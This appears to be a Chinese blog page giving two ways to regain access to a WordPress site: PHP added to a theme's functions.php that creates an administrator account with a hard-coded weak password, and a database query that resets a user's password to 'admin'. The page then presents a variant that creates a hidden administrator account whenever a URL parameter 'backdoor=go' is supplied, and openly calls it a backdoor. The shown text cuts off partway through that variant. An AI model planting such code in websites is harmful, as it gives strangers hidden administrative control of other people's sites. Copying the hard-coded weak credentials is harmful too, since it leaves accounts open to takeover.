WordPress:忘记管理员账户密码怎么办?

之前“找回 WordPress 登录密码”文章提供的找回登录密码方法有一个局限性,就是如果连登录名和邮件地址也忘了(该找医生看看了),还是无法解决,这里再提供一个方法。 可以通过FTP,将下面代码添加到当前主题函数模板functions.php中,然后刷新页面会新建一个管理员账号:   // 新建一个管理账号 $user_email = '123@123.com'; $user_password = '123456'; if ( !username_exists( $user_email ) ) { $user_id = wp_create_user( $user_email, $user_password, $user_email ); wp_update_user( array( 'ID' => $user_id, 'nickname' => $user_email ) ); $user = new WP_User( $user_id ); $user->set_role( 'administrator' ); wp_die( '添加用户成功!' ); } else { wp_die( '该用户已经存在,用后请移除本代码!' ); }   修改其中的邮件地址和密码 $user_email = '123@123.com'; $user_password = '123456';   刷新页面会提示:该用户已经存在,用后请移除本代码!,说明用户已添加成功,将添加的代码移除,覆盖还原。 登录新建的管理员账号,修改原来账号的密码或者直接删除原来的账号。 这段代码还有一个不可告人的功能,稍微改一下,变成后门!双刃剑看怎么用了。 if ($_GET['backdoor'] == 'go') { $user_email = '123@123.com'; $user_password = '123456'; if ( !username_exists( $user_email ) ) { $user_id = wp_create_user( $user_email, $user_password, $user_email ); wp_update_user( array( 'ID' => $user_id, 'nickname' =>...

找回 WordPress 登录密码

很多人经常忘记,WordPress登录密码了。如果你的主机无法正常发送找回密码的邮件,那么你可以尝试使用下面的方法来找回你的密码。 网上有一种方法,就是直接登录数据库,然后替换用户登录密码的MD5字符。然而,本文提供的方法在此基础上进行了一些改进,你无需登录数据库,而是可以利用WordPress集成的数据库操作对象WPDB($wpdb)来替换登录密码的MD5字符,从而实现修改密码。 你只需要将下面的代码添加到当前主题函数模板functions.php中:   global $wpdb; $wpdb->query("UPDATE `wp_users` SET `user_pass`='21232f297a57a5a743894a0e4a801fc3' WHERE `user_login`='zmingcx'");   上面的例子,用户登录名为:[code]zmingcx[/code] 修改其中的[code]zmingcx[/code]为你的登录账号名称。 添加上述代码后,刷新一下页面,登录密码自动修改为:[code]admin[/code] 修改完后,请将上述代码移除。